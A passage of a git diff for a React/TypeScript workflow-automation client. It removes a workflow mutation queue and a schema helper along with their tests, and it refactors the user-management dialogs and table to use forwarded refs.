-        const result = getOutputSchemaFromWorkflowNodeOutput(workflowNodeOutput);
-
-        expect(result).toBe(mockOutputSchema);
-    });
-
-    test('returns undefined when neither outputResponse nor variableOutputResponse has outputSchema', () => {
-        const workflowNodeOutput: WorkflowNodeOutput = {
-            outputResponse: {},
-            variableOutputResponse: {},
-            workflowNodeName: 'action_1',
-        };
-
-        const result = getOutputSchemaFromWorkflowNodeOutput(workflowNodeOutput);
-
-        expect(result).toBeUndefined();
-    });
-
-    test('returns variableOutputResponse.outputSchema for loop task dispatcher with item and index properties', () => {
-        const loopVariableSchema: PropertyAllType = {
-            name: 'loopOutput',
-            properties: [
-                {
-                    name: 'item',
-                    properties: [{name: 'id', type: 'STRING'}],
-                    type: 'OBJECT',
-                },
-                {name: 'index', type: 'INTEGER'},
-            ],
-            type: 'OBJECT',
-        };
-
-        const workflowNodeOutput: WorkflowNodeOutput = {
-            taskDispatcherDefinition: {
-                name: 'loop',
-                outputDefined: false,
-                variablePropertiesDefined: true,
-                version: 1,
-            },
-            variableOutputResponse: {
-                outputSchema: loopVariableSchema,
-            },
-            workflowNodeName: 'loop_1',
-        };
-
-        const result = getOutputSchemaFromWorkflowNodeOutput(workflowNodeOutput);
-
-        expect(result).toBe(loopVariableSchema);
-        expect(result?.properties).toHaveLength(2);
-        expect(result?.properties?.[0].name).toBe('item');
-        expect(result?.properties?.[1].name).toBe('index');
-    });
-});
diff --git a/client/src/pages/platform/workflow-editor/utils/getOutputSchemaFromWorkflowNodeOutput.ts b/client/src/pages/platform/workflow-editor/utils/getOutputSchemaFromWorkflowNodeOutput.ts
deleted file mode 100644
index 4d6ea4a8e99..00000000000
--- a/client/src/pages/platform/workflow-editor/utils/getOutputSchemaFromWorkflowNodeOutput.ts
+++ /dev/null
@@ -1,8 +0,0 @@
-import {WorkflowNodeOutput} from '@/shared/middleware/platform/configuration';
-import {PropertyAllType} from '@/shared/types';
-
-export default function getOutputSchemaFromWorkflowNodeOutput(
-    workflowNodeOutput: WorkflowNodeOutput | undefined
-): PropertyAllType | undefined {
-    return workflowNodeOutput?.outputResponse?.outputSchema || workflowNodeOutput?.variableOutputResponse?.outputSchema;
-}
diff --git a/client/src/pages/platform/workflow-editor/utils/saveClusterElementFieldChange.ts b/client/src/pages/platform/workflow-editor/utils/saveClusterElementFieldChange.ts
index 4cb74814316..79a8522d271 100644
--- a/client/src/pages/platform/workflow-editor/utils/saveClusterElementFieldChange.ts
+++ b/client/src/pages/platform/workflow-editor/utils/saveClusterElementFieldChange.ts
@@ -161,8 +161,6 @@ export default function saveClusterElementFieldChange({
                     });
                 }
             }
-
-            useWorkflowNodeDetailsPanelStore.getState().setOperationChangeInProgress(false);
         },
         updateWorkflowMutation,
     });
diff --git a/client/src/pages/platform/workflow-editor/utils/saveProperty.test.ts b/client/src/pages/platform/workflow-editor/utils/saveProperty.test.ts
deleted file mode 100644
index 5dc85316471..00000000000
--- a/client/src/pages/platform/workflow-editor/utils/saveProperty.test.ts
+++ /dev/null
@@ -1,105 +0,0 @@
-import {beforeEach, describe, expect, test, vi} from 'vitest';
-
-import useWorkflowEditorStore from '../stores/useWorkflowEditorStore';
-import useWorkflowNodeDetailsPanelStore from '../stores/useWorkflowNodeDetailsPanelStore';
-import saveProperty from './saveProperty';
-
-vi.mock('./workflowMutationQueue', () => ({
-    enqueueWorkflowMutation: (execute: () => Promise<unknown>) => execute(),
-}));
-
-vi.mock('./encodingUtils', () => ({
-    decodePath: (path: string) => path,
-}));
-
-function createMockMutation(
-    mutateAsync = vi.fn().mockResolvedValue({displayConditions: {}, metadata: {}, parameters: {}})
-) {
-    return {
-        context: undefined,
-        data: undefined,
-        error: null,
-        failureCount: 0,
-        failureReason: null,
-        isError: false as const,
-        isIdle: true as const,
-        isPaused: false,
-        isPending: false as const,
-        isSuccess: false as const,
-        mutate: vi.fn(),
-        mutateAsync,
-        reset: vi.fn(),
-        status: 'idle' as const,
-        submittedAt: 0,
-        variables: undefined,
-    };
-}
-
-describe('saveProperty', () => {
-    beforeEach(() => {
-        useWorkflowNodeDetailsPanelStore.setState({
-            currentComponent: undefined,
-            currentNode: undefined,
-        });
-
-        useWorkflowEditorStore.setState({
-            rootClusterElementNodeData: undefined,
-        });
-    });
-
-    test('uses currentNode.workflowNodeName when rootClusterElementNodeData is undefined for a regular node', async () => {
-        const mutateAsync = vi.fn().mockResolvedValue({displayConditions: {}, metadata: {}, parameters: {}});
-
-        useWorkflowNodeDetailsPanelStore.setState({
-            currentComponent: {componentName: 'test', workflowNodeName: 'test_1'} as never,
-            currentNode: {componentName: 'test', workflowNodeName: 'test_1'} as never,
-        });
-
-        useWorkflowEditorStore.setState({
-            rootClusterElementNodeData: undefined,
-        });
-
-        saveProperty({
-            path: 'parameters.field',
-            type: 'STRING',
-            updateWorkflowNodeParameterMutation: createMockMutation(mutateAsync),
-            workflowId: 'workflow-1',
-        });
-
-        await vi.waitFor(() => {
-            expect(mutateAsync).toHaveBeenCalledTimes(1);
-        });
-
-        const callArgs = mutateAsync.mock.calls[0][0];
-
-        expect(callArgs.workflowNodeName).toBe('test_1');
-    });
-
-    test('uses rootClusterElementNodeData.workflowNodeName when it is available', async () => {
-        const mutateAsync = vi.fn().mockResolvedValue({displayConditions: {}, metadata: {}, parameters: {}});
-
-        useWorkflowNodeDetailsPanelStore.setState({
-            currentComponent: {componentName: 'test', workflowNodeName: 'test_1'} as never,
-            currentNode: {componentName: 'test', workflowNodeName: 'test_1'} as never,
-        });
-
-        useWorkflowEditorStore.setState({
-            rootClusterElementNodeData: {componentName: 'root', workflowNodeName: 'root_1'} as never,
-        });
-
-        saveProperty({
-            path: 'parameters.field',
-            type: 'STRING',
-            updateWorkflowNodeParameterMutation: createMockMutation(mutateAsync),
-            workflowId: 'workflow-1',
-        });
-
-        await vi.waitFor(() => {
-            expect(mutateAsync).toHaveBeenCalledTimes(1);
-        });
-
-        const callArgs = mutateAsync.mock.calls[0][0];
-
-        expect(callArgs.workflowNodeName).toBe('root_1');
-    });
-});
diff --git a/client/src/pages/platform/workflow-editor/utils/saveProperty.ts b/client/src/pages/platform/workflow-editor/utils/saveProperty.ts
index aae7b381469..f14385cb2bb 100644
--- a/client/src/pages/platform/workflow-editor/utils/saveProperty.ts
+++ b/client/src/pages/platform/workflow-editor/utils/saveProperty.ts
@@ -9,7 +9,6 @@ import {UseMutationResult} from '@tanstack/react-query';
 import useWorkflowEditorStore from '../stores/useWorkflowEditorStore';
 import useWorkflowNodeDetailsPanelStore from '../stores/useWorkflowNodeDetailsPanelStore';
 import {decodePath} from './encodingUtils';
-import {enqueueWorkflowMutation} from './workflowMutationQueue';
 
 interface SavePropertyProps {
     fromAi?: boolean;
@@ -56,79 +55,82 @@ export default function saveProperty({
 
     const decodedPath = decodePath(path);
 
-    function handleSuccess(response: DeleteClusterElementParameter200Response & {workflowNodeName?: string}) {
-        if (successCallback) {
-            successCallback();
-        }
-
-        if (currentComponent) {
-            useWorkflowNodeDetailsPanelStore.getState().setCurrentComponent({
-                ...currentComponent,
-                displayConditions: response.displayConditions,
-                metadata: response.metadata,
-                parameters: response.parameters,
-            });
-        }
-
-        if (currentNode) {
-            useWorkflowNodeDetailsPanelStore.getState().setCurrentNode({
-                ...currentNode,
-                displayConditions: response.displayConditions,
-                metadata: response.metadata,
-                parameters: response.parameters,
-            });
-        }
-    }
-
     if (currentNode && currentNode.clusterElementType) {
-        if (!updateClusterElementParameterMutation) {
-            return;
-        }
-
-        const clusterElementType = currentNode.clusterElementType;
-        const clusterElementWorkflowNodeName = currentNode.workflowNodeName;
-
-        enqueueWorkflowMutation(() =>
-            updateClusterElementParameterMutation.mutateAsync(
-                {
-                    clusterElementType,
-                    clusterElementWorkflowNodeName,
-                    environmentId: environmentStore.getState().currentEnvironmentId,
-                    id: workflowId,
-                    updateClusterElementParameterRequest: {
-                        fromAiInMetadata: fromAi,
-                        includeInMetadata,
-                        path: decodedPath,
-                        type,
-                        value,
-                    },
-                    workflowNodeName: rootClusterElementNodeData?.workflowNodeName ?? '',
-                },
-                {
-                    onSuccess: (response) => handleSuccess(response),
-                }
-            )
-        );
-
-        return;
-    }
-
-    enqueueWorkflowMutation(() =>
-        updateWorkflowNodeParameterMutation.mutateAsync(
+        updateClusterElementParameterMutation?.mutate(
             {
+                clusterElementType: currentNode.clusterElementType,
+                clusterElementWorkflowNodeName: currentNode.workflowNodeName,
                 environmentId: environmentStore.getState().currentEnvironmentId,
                 id: workflowId,
-                updateWorkflowNodeParameterRequest: {
+                updateClusterElementParameterRequest: {
+                    fromAiInMetadata: fromAi,
                     includeInMetadata,
                     path: decodedPath,
                     type,
                     value,
                 },
-                workflowNodeName: rootClusterElementNodeData?.workflowNodeName || currentNode?.workflowNodeName || '',
+                workflowNodeName: rootClusterElementNodeData?.workflowNodeName || '',
             },
             {
-                onSuccess: (response) => handleSuccess(response),
+                onSuccess: (response) => {
+                    if (successCallback) {
+                        successCallback();
+                    }
+
+                    useWorkflowNodeDetailsPanelStore.getState().setCurrentComponent({
+                        ...currentComponent,
+                        displayConditions: response.displayConditions,
+                        metadata: response.metadata,
+                        parameters: response.parameters,
+                    });
+
+                    useWorkflowNodeDetailsPanelStore.getState().setCurrentNode({
+                        ...currentNode,
+                        displayConditions: response.displayConditions,
+                        metadata: response.metadata,
+                        parameters: response.parameters,
+                    });
+                },
             }
-        )
+        );
+
+        return;
+    }
+
+    updateWorkflowNodeParameterMutation.mutate(
+        {
+            environmentId: environmentStore.getState().currentEnvironmentId,
+            id: workflowId,
+            updateWorkflowNodeParameterRequest: {
+                includeInMetadata,
+                path: decodedPath,
+                type,
+                value,
+            },
+            workflowNodeName: currentComponent.workflowNodeName,
+        },
+        {
+            onSuccess: (response) => {
+                if (successCallback) {
+                    successCallback();
+                }
+
+                useWorkflowNodeDetailsPanelStore.getState().setCurrentComponent({
+                    ...currentComponent,
+                    displayConditions: response.displayConditions,
+                    metadata: response.metadata,
+                    parameters: response.parameters,
+                });
+
+                if (currentNode) {
+                    useWorkflowNodeDetailsPanelStore.getState().setCurrentNode({
+                        ...currentNode,
+                        displayConditions: response.displayConditions,
+                        metadata: response.metadata,
+                        parameters: response.parameters,
+                    });
+                }
+            },
+        }
     );
 }
diff --git a/client/src/pages/platform/workflow-editor/utils/saveTaskDispatcherSubtaskFieldChange.ts b/client/src/pages/platform/workflow-editor/utils/saveTaskDispatcherSubtaskFieldChange.ts
index 6b643a13bc5..877f9124a71 100644
--- a/client/src/pages/platform/workflow-editor/utils/saveTaskDispatcherSubtaskFieldChange.ts
+++ b/client/src/pages/platform/workflow-editor/utils/saveTaskDispatcherSubtaskFieldChange.ts
@@ -1,7 +1,7 @@
 import {TASK_DISPATCHER_DATA_KEY_MAP} from '@/shared/constants';
 import {ComponentDefinition, Workflow, WorkflowTask} from '@/shared/middleware/platform/configuration';
 import {NodeDataType, PropertyAllType, TaskDispatcherContextType} from '@/shared/types';
-import {UseMutationResult} from '@tanstack/react-query';
+import {QueryClient, UseMutationResult} from '@tanstack/react-query';
 
 import useWorkflowDataStore from '../stores/useWorkflowDataStore';
 import useWorkflowNodeDetailsPanelStore from '../stores/useWorkflowNodeDetailsPanelStore';
@@ -21,6 +21,7 @@ interface SaveTaskDispatcherSubtaskFieldChangeProps {
     currentOperationProperties?: Array<PropertyAllType>;
     fieldUpdate: FieldUpdateType;
     invalidateWorkflowQueries: () => void;
+    queryClient: QueryClient;
     updateWorkflowMutation: UseMutationResult<void, Error, {id: string; workflow: Workflow}, unknown>;
 }
 
@@ -239,8 +240,6 @@ export default function saveTaskDispatcherSubtaskFieldChange({
                 ...commonUpdates,
                 name: workflowNodeName || '',
             });
-
-            useWorkflowNodeDetailsPanelStore.getState().setOperationChangeInProgress(false);
         },
         taskDispatcherContext,
         updateWorkflowMutation,
diff --git a/client/src/pages/platform/workflow-editor/utils/workflowMutationQueue.test.ts b/client/src/pages/platform/workflow-editor/utils/workflowMutationQueue.test.ts
deleted file mode 100644
index 9501157a41c..00000000000
--- a/client/src/pages/platform/workflow-editor/utils/workflowMutationQueue.test.ts
+++ /dev/null
@@ -1,98 +0,0 @@
-import {describe, expect, test, vi} from 'vitest';
-
-import {enqueueWorkflowMutation} from './workflowMutationQueue';
-
-describe('workflowMutationQueue', () => {
-    test('executes a single mutation', async () => {
-        const executionOrder: number[] = [];
-
-        enqueueWorkflowMutation(() => {
-            executionOrder.push(1);
-
-            return Promise.resolve();
-        });
-
-        await vi.waitFor(() => {
-            expect(executionOrder).toEqual([1]);
-        });
-    });
-
-    test('serializes concurrent mutations', async () => {
-        const executionOrder: string[] = [];
-
-        enqueueWorkflowMutation(
-            () =>
-                new Promise<void>((resolve) => {
-                    setTimeout(() => {
-                        executionOrder.push('first-start');
-                        executionOrder.push('first-end');
-                        resolve();
-                    }, 50);
-                })
-        );
-
-        enqueueWorkflowMutation(
-            () =>
-                new Promise<void>((resolve) => {
-                    executionOrder.push('second-start');
-                    executionOrder.push('second-end');
-                    resolve();
-                })
-        );
-
-        await vi.waitFor(
-            () => {
-                expect(executionOrder).toEqual(['first-start', 'first-end', 'second-start', 'second-end']);
-            },
-            {timeout: 500}
-        );
-    });
-
-    test('continues executing after a failed mutation', async () => {
-        const executionOrder: string[] = [];
-
-        enqueueWorkflowMutation(() => {
-            executionOrder.push('failing');
-
-            return Promise.reject(new Error('mutation failed'));
-        });
-
-        enqueueWorkflowMutation(() => {
-            executionOrder.push('succeeding');
-
-            return Promise.resolve();
-        });
-
-        await vi.waitFor(
-            () => {
-                expect(executionOrder).toEqual(['failing', 'succeeding']);
-            },
-            {timeout: 200}
-        );
-    });
-
-    test('serializes three mutations in order', async () => {
-        const executionOrder: number[] = [];
-
-        for (let index = 1; index <= 3; index++) {
-            const capturedIndex = index;
-
-            enqueueWorkflowMutation(
-                () =>
-                    new Promise<void>((resolve) => {
-                        setTimeout(() => {
-                            executionOrder.push(capturedIndex);
-                            resolve();
-                        }, 10);
-                    })
-            );
-        }
-
-        await vi.waitFor(
-            () => {
-                expect(executionOrder).toEqual([1, 2, 3]);
-            },
-            {timeout: 500}
-        );
-    });
-});
diff --git a/client/src/pages/platform/workflow-editor/utils/workflowMutationQueue.ts b/client/src/pages/platform/workflow-editor/utils/workflowMutationQueue.ts
deleted file mode 100644
index a8974571b6b..00000000000
--- a/client/src/pages/platform/workflow-editor/utils/workflowMutationQueue.ts
+++ /dev/null
@@ -1,7 +0,0 @@
-let mutationQueue: Promise<unknown> = Promise.resolve();
-
-export function enqueueWorkflowMutation(execute: () => Promise<unknown>): void {
-    mutationQueue = mutationQueue.then(execute, execute).catch((error) => {
-        console.error('Workflow mutation execution failed:', error);
-    });
-}
diff --git a/client/src/pages/settings/platform/users/UsersPage.tsx b/client/src/pages/settings/platform/users/UsersPage.tsx
index e786d61ccca..a3edc240f4f 100644
--- a/client/src/pages/settings/platform/users/UsersPage.tsx
+++ b/client/src/pages/settings/platform/users/UsersPage.tsx
@@ -1,21 +1,35 @@
 import PrimaryButton from '@/components/Button/Button';
 import TablePagination from '@/components/TablePagination';
-import DeleteUserAlertDialog from '@/pages/settings/platform/users/components/DeleteUserAlertDialog';
-import EditUserDialog from '@/pages/settings/platform/users/components/EditUserDialog';
-import InviteUserDialog from '@/pages/settings/platform/users/components/InviteUserDialog';
-import UsersTable from '@/pages/settings/platform/users/components/UsersTable';
-import useInviteUserDialog from '@/pages/settings/platform/users/components/hooks/useInviteUserDialog';
-import useUsersTable from '@/pages/settings/platform/users/components/hooks/useUsersTable';
+import DeleteUserAlertDialog, {
+    DeleteUserAlertDialogRefI,
+} from '@/pages/settings/platform/users/components/DeleteUserAlertDialog';
+import EditUserDialog, {EditUserDialogRefI} from '@/pages/settings/platform/users/components/EditUserDialog';
+import InviteUserDialog, {InviteUserDialogRefI} from '@/pages/settings/platform/users/components/InviteUserDialog';
+import UsersTable, {UsersTableRefI} from '@/pages/settings/platform/users/components/UsersTable';
 import Footer from '@/shared/layout/Footer';
 import Header from '@/shared/layout/Header';
 import LayoutContainer from '@/shared/layout/LayoutContainer';
-import {useState} from 'react';
+import {useRef, useState} from 'react';
 
 export default function UsersPage() {
     const [pageNumber, setPageNumber] = useState(0);
 
-    const {isLoading, pageSize, totalElements, totalPages} = useUsersTable({pageNumber});
-    const {handleOpen: handleOpenInvite} = useInviteUserDialog();
+    const deleteUserAlertDialogRef = useRef<DeleteUserAlertDialogRefI>(null);
+    const editUserDialogRef = useRef<EditUserDialogRefI>(null);
+    const inviteUserDialogRef = useRef<InviteUserDialogRefI>(null);
+    const usersTableRef = useRef<UsersTableRefI>(null);
+
+    const handleOpenDelete = (login: string | null) => {
+        deleteUserAlertDialogRef.current?.open(login);
+    };
+
+    const handleOpenEdit = (login: string) => {
+        editUserDialogRef.current?.open(login);
+    };
+
+    const handleOpenInvite = () => {
+        inviteUserDialogRef.current?.open();
+    };
 
     const handlePaginationClick = (newPageNumber: number) => {
         setPageNumber(newPageNumber);
@@ -24,14 +38,15 @@ export default function UsersPage() {
     return (
         <LayoutContainer
             footer={
-                totalElements > 0 && (
+                usersTableRef.current &&
+                usersTableRef.current.totalElements > 0 && (
                     <Footer position="main">
                         <TablePagination
                             onClick={handlePaginationClick}
                             pageNumber={pageNumber}
-                            pageSize={pageSize}
-                            totalElements={totalElements}
-                            totalPages={totalPages}
+                            pageSize={usersTableRef.current.pageSize}
+                            totalElements={usersTableRef.current.totalElements}
+                            totalPages={usersTableRef.current.totalPages}
                         />
                     </Footer>
                 )
@@ -42,7 +57,7 @@ export default function UsersPage() {
                     description="Manage organization users: invite or delete users."
                     position="main"
                     right={
-                        <PrimaryButton disabled={isLoading} onClick={handleOpenInvite}>
+                        <PrimaryButton disabled={usersTableRef.current?.isLoading ?? false} onClick={handleOpenInvite}>
                             Invite User
                         </PrimaryButton>
                     }
@@ -52,14 +67,19 @@ export default function UsersPage() {
             leftSidebarOpen={false}
         >
             <div className="w-full space-y-4 px-4 text-sm 3xl:mx-auto 3xl:w-4/5">
-                <UsersTable pageNumber={pageNumber} />
+                <UsersTable
+                    onOpenDelete={handleOpenDelete}
+                    onOpenEdit={handleOpenEdit}
+                    pageNumber={pageNumber}
+                    ref={usersTableRef}
+                />
             </div>
 
-            <DeleteUserAlertDialog />
+            <DeleteUserAlertDialog ref={deleteUserAlertDialogRef} />
 
-            <InviteUserDialog />
+            <InviteUserDialog ref={inviteUserDialogRef} />
 
-            <EditUserDialog />
+            <EditUserDialog ref={editUserDialogRef} />
         </LayoutContainer>
     );
 }
diff --git a/client/src/pages/settings/platform/users/components/DeleteUserAlertDialog.tsx b/client/src/pages/settings/platform/users/components/DeleteUserAlertDialog.tsx
index b25ba8890f2..34328694914 100644
--- a/client/src/pages/settings/platform/users/components/DeleteUserAlertDialog.tsx
+++ b/client/src/pages/settings/platform/users/components/DeleteUserAlertDialog.tsx
@@ -1,11 +1,27 @@
 import DeleteAlertDialog from '@/components/DeleteAlertDialog';
+import {forwardRef, useImperativeHandle} from 'react';
 
 import useDeleteUserAlertDialog from './hooks/useDeleteUserAlertDialog';
 
-const DeleteUserAlertDialog = () => {
-    const {handleClose, handleDelete, open} = useDeleteUserAlertDialog();
+export interface DeleteUserAlertDialogRefI {
+    open: (login: string | null) => void;
+}
 
-    return <DeleteAlertDialog onCancel={handleClose} onDelete={handleDelete} open={open} />;
-};
+const DeleteUserAlertDialog = forwardRef<DeleteUserAlertDialogRefI>(function DeleteUserAlertDialog(_, ref) {
+    const {handleDeleteUserAlertDialogClose, handleDeleteUserAlertDialogDelete, handleDeleteUserAlertDialogOpen, open} =
+        useDeleteUserAlertDialog();
+
+    useImperativeHandle(ref, () => ({
+        open: handleDeleteUserAlertDialogOpen,
+    }));
+
+    return (
+        <DeleteAlertDialog
+            onCancel={handleDeleteUserAlertDialogClose}
+            onDelete={handleDeleteUserAlertDialogDelete}
+            open={open}
+        />
+    );
+});
 
 export default DeleteUserAlertDialog;
diff --git a/client/src/pages/settings/platform/users/components/EditUserDialog.tsx b/client/src/pages/settings/platform/users/components/EditUserDialog.tsx
index 8add331fde3..1783c15e08c 100644
--- a/client/src/pages/settings/platform/users/components/EditUserDialog.tsx
+++ b/client/src/pages/settings/platform/users/components/EditUserDialog.tsx
@@ -9,24 +9,33 @@ import {
     DialogTitle,
 } from '@/components/ui/dialog';
 import {Select, SelectContent, SelectItem, SelectTrigger, SelectValue} from '@/components/ui/select';
+import {forwardRef, useImperativeHandle} from 'react';
 
 import useEditUserDialog from './hooks/useEditUserDialog';
 
-const EditUserDialog = () => {
+export interface EditUserDialogRefI {
+    open: (login: string) => void;
+}
+
+const EditUserDialog = forwardRef<EditUserDialogRefI>(function EditUserDialog(_, ref) {
     const {
         authorities,
         editRole,
         editUser,
-        handleClose,
-        handleOpenChange,
-        handleRoleChange,
-        handleUpdate,
+        handleEditUserDialogClose,
+        handleEditUserDialogOpen,
+        handleEditUserDialogUpdate,
         open,
+        setEditRole,
         updateDisabled,
     } = useEditUserDialog();
 
+    useImperativeHandle(ref, () => ({
+        open: handleEditUserDialogOpen,
+    }));
+
     return (
-        <Dialog onOpenChange={handleOpenChange} open={open}>
+        <Dialog onOpenChange={(isOpen) => !isOpen && handleEditUserDialogClose()} open={open}>
             <DialogContent>
                 <div className="flex flex-col gap-4">
                     <DialogHeader className="flex flex-row items-center justify-between space-y-0">
@@ -47,7 +56,7 @@ const EditUserDialog = () => {
                         <div className="space-y-2">
                             <label className="text-sm font-medium">Role</label>
 
-                            <Select onValueChange={(value) => handleRoleChange(value)} value={editRole ?? undefined}>
+                            <Select onValueChange={(value) => setEditRole(value)} value={editRole ?? undefined}>
                                 <SelectTrigger>
                                     <SelectValue placeholder="Select role" />
                                 </SelectTrigger>
@@ -65,12 +74,12 @@ const EditUserDialog = () => {
 
                     <DialogFooter>
                         <DialogClose asChild>
-                            <Button onClick={handleClose} variant="outline">
+                            <Button onClick={handleEditUserDialogClose} variant="outline">
                                 Cancel
                             </Button>
                         </DialogClose>
 
-                        <Button disabled={updateDisabled} onClick={handleUpdate}>
+                        <Button disabled={updateDisabled} onClick={handleEditUserDialogUpdate}>
                             Save
                         </Button>
                     </DialogFooter>
@@ -78,6 +87,6 @@ const EditUserDialog = () => {
             </DialogContent>
         </Dialog>
     );
-};
+});
 
 export default EditUserDialog;
diff --git a/client/src/pages/settings/platform/users/components/InviteUserDialog.tsx b/client/src/pages/settings/platform/users/components/InviteUserDialog.tsx
index db09d6cb525..2fbfdfb6a94 100644
--- a/client/src/pages/settings/platform/users/components/InviteUserDialog.tsx
+++ b/client/src/pages/settings/platform/users/components/InviteUserDialog.tsx
@@ -10,27 +10,36 @@ import {
 } from '@/components/ui/dialog';
 import {Input} from '@/components/ui/input';
 import {Select, SelectContent, SelectItem, SelectTrigger, SelectValue} from '@/components/ui/select';
+import {forwardRef, useImperativeHandle} from 'react';
 
 import useInviteUserDialog from './hooks/useInviteUserDialog';
 
-const InviteUserDialog = () => {
+export interface InviteUserDialogRefI {
+    open: () => void;
+}
+
+const InviteUserDialog = forwardRef<InviteUserDialogRefI>(function InviteUserDialog(_, ref) {
     const {
         authorities,
-        handleClose,
-        handleEmailChange,
-        handleInvite,
-        handleOpenChange,
-        handleRegeneratePassword,
-        handleRoleChange,
+        handleInviteUserDialogClose,
+        handleInviteUserDialogInvite,
+        handleInviteUserDialogOpen,
+        handleInviteUserDialogRegeneratePassword,
         inviteDisabled,
         inviteEmail,
         invitePassword,
         inviteRole,
         open,
+        setInviteEmail,
+        setInviteRole,
     } = useInviteUserDialog();
 
+    useImperativeHandle(ref, () => ({
+        open: handleInviteUserDialogOpen,
+    }));
+
     return (
-        <Dialog onOpenChange={handleOpenChange} open={open}>
+        <Dialog onOpenChange={(isOpen) => !isOpen && handleInviteUserDialogClose()} open={open}>
             <DialogContent>
                 <div className="flex flex-col gap-4">
                     <DialogHeader className="flex flex-row items-center justify-between space-y-0">
@@ -49,7 +58,7 @@ const InviteUserDialog = () => {
                             <label className="text-sm font-medium">Email</label>
 
                             <Input
-                                onChange={(event) => handleEmailChange(event.target.value)}
+                                onChange={(event) => setInviteEmail(event.target.value)}
                                 placeholder="user@example.com"
                                 type="email"
                                 value={inviteEmail}
@@ -62,7 +71,7 @@ const InviteUserDialog = () => {
                             <Input readOnly type="text" value={invitePassword} />
 
                             <div>
-                                <Button onClick={handleRegeneratePassword} size="sm" variant="outline">
+                                <Button onClick={handleInviteUserDialogRegeneratePassword} size="sm" variant="outline">
                                     Regenerate
                                 </Button>
                             </div>
@@ -76,7 +85,7 @@ const InviteUserDialog = () => {
                         <div className="space-y-2">
                             <label className="text-sm font-medium">Role</label>
 
-                            <Select onValueChange={(value) => handleRoleChange(value)} value={inviteRole ?? undefined}>
+                            <Select onValueChange={(value) => setInviteRole(value)} value={inviteRole ?? undefined}>
                                 <SelectTrigger>
                                     <SelectValue placeholder="Select role" />
                                 </SelectTrigger>
@@ -94,12 +103,12 @@ const InviteUserDialog = () => {
 
                     <DialogFooter>
                         <DialogClose asChild>
-                            <Button onClick={handleClose} variant="outline">
+                            <Button onClick={handleInviteUserDialogClose} variant="outline">
                                 Cancel
                             </Button>
                         </DialogClose>
 
-                        <Button disabled={inviteDisabled} onClick={handleInvite}>
+                        <Button disabled={inviteDisabled} onClick={handleInviteUserDialogInvite}>
                             Invite
                         </Button>
                     </DialogFooter>
@@ -107,6 +116,6 @@ const InviteUserDialog = () => {
             </DialogContent>
         </Dialog>
     );
-};
+});
 
 export default InviteUserDialog;
diff --git a/client/src/pages/settings/platform/users/components/UsersTable.tsx b/client/src/pages/settings/platform/users/components/UsersTable.tsx
index aa2859cf864..ac48c4c76f0 100644
--- a/client/src/pages/settings/platform/users/components/UsersTable.tsx
+++ b/client/src/pages/settings/platform/users/components/UsersTable.tsx
@@ -1,20 +1,42 @@
 import Button from '@/components/Button/Button';
 import {Table, TableBody, TableCell, TableHead, TableHeader, TableRow} from '@/components/ui/table';
 import UsersTableSkeleton from '@/pages/settings/platform/users/components/UsersTableSkeleton';
-import useDeleteUserAlertDialog from '@/pages/settings/platform/users/components/hooks/useDeleteUserAlertDialog';
-import useEditUserDialog from '@/pages/settings/platform/users/components/hooks/useEditUserDialog';
 import {EditIcon, Trash2Icon} from 'lucide-react';
+import {forwardRef, useImperativeHandle} from 'react';
 
 import useUsersTable from './hooks/useUsersTable';
 
+export interface UsersTableRefI {
+    isLoading: boolean;
+    pageNumber: number;
+    pageSize: number;
+    totalElements: number;
+    totalPages: number;
+}
+
 interface UsersTableProps {
+    onOpenDelete: (login: string | null) => void;
+    onOpenEdit: (login: string) => void;
     pageNumber: number;
 }
 
-const UsersTable = ({pageNumber}: UsersTableProps) => {
-    const {error, isLoading, users} = useUsersTable({pageNumber});
-    const {handleOpen: handleOpenDelete} = useDeleteUserAlertDialog();
-    const {handleOpen: handleOpenEdit} = useEditUserDialog();
+const UsersTable = forwardRef<UsersTableRefI, UsersTableProps>(function UsersTable(
+    {onOpenDelete, onOpenEdit, pageNumber},
+    ref
+) {
+    const {error, isLoading, pageSize, totalElements, totalPages, users} = useUsersTable({pageNumber});
+
+    useImperativeHandle(
+        ref,
+        () => ({
+            isLoading,
+            pageNumber,
+            pageSize,
+            totalElements,
+            totalPages,
+        }),
+        [isLoading, pageNumber, pageSize, totalElements, totalPages]
+    );
 
     if (error) {
         return <div className="text-destructive">Error: {(error as Error).message}</div>;
@@ -66,14 +88,14 @@ const UsersTable = ({pageNumber}: UsersTableProps) => {
                                 <TableCell className="flex justify-end whitespace-nowrap">
                                     <Button
                                         icon={<EditIcon className="size-4" />}
-                                        onClick={() => handleOpenEdit(user?.login ?? '')}
+                                        onClick={() => onOpenEdit(user?.login ?? '')}
                                         size="icon"
                                         variant="ghost"
                                     />
 
                                     <Button
                                         icon={<Trash2Icon className="size-4 text-destructive" />}
-                                        onClick={() => handleOpenDelete(user?.login ?? null)}
+                                        onClick={() => onOpenDelete(user?.login ?? null)}
                                         size="icon"
                                         variant="ghost"
                                     />
@@ -93,6 +115,6 @@ const UsersTable = ({pageNumber}: UsersTableProps) => {
             </TableBody>
         </Table>
     );
-};
+});
 
 export default UsersTable;
diff --git a/client/src/pages/settings/platform/users/components/hooks/tests/useDeleteUserAlertDialog.test.tsx b/client/src/pages/settings/platform/users/components/hooks/tests/useDeleteUserAlertDialog.test.tsx
index 6c5270b1aaa..079002ed835 100644
--- a/client/src/pages/settings/platform/users/components/hooks/tests/useDeleteUserAlertDialog.test.tsx
+++ b/client/src/pages/settings/platform/users/components/hooks/tests/useDeleteUserAlertDialog.test.tsx
@@ -6,30 +6,9 @@ import useDeleteUserAlertDialog from '../useDeleteUserAlertDialog';
 const hoisted = vi.hoisted(() => {
     return {
         deleteUserMutate: vi.fn(),
-        storeState: {
-            clearLoginToDelete: vi.fn(),
-            loginToDelete: null as string | null,
-            setLoginToDelete: vi.fn(),
-        },
     };
 });
 
-vi.mock('@/pages/settings/platform/users/stores/useDeleteUserDialogStore', () => ({
-    useDeleteUserDialogStore: vi.fn(() => {
-        return {
-            clearLoginToDelete: () => {
-                hoisted.storeState.loginToDelete = null;
-                hoisted.storeState.clearLoginToDelete();
-            },
-            loginToDelete: hoisted.storeState.loginToDelete,
-            setLoginToDelete: (login: string | null) => {
-                hoisted.storeState.loginToDelete = login;
-                hoisted.storeState.setLoginToDelete(login);
-            },
-        };
-    }),
-}));
-
 vi.mock('@/shared/middleware/graphql', () => ({
     useDeleteUserMutation: vi.fn((options: {onSuccess: () => void}) => ({
         mutate: (vars: unknown) => {
@@ -48,7 +27,6 @@ vi.mock('@tanstack/react-query', () => ({
 describe('useDeleteUserAlertDialog', () => {
     beforeEach(() => {
         vi.clearAllMocks();
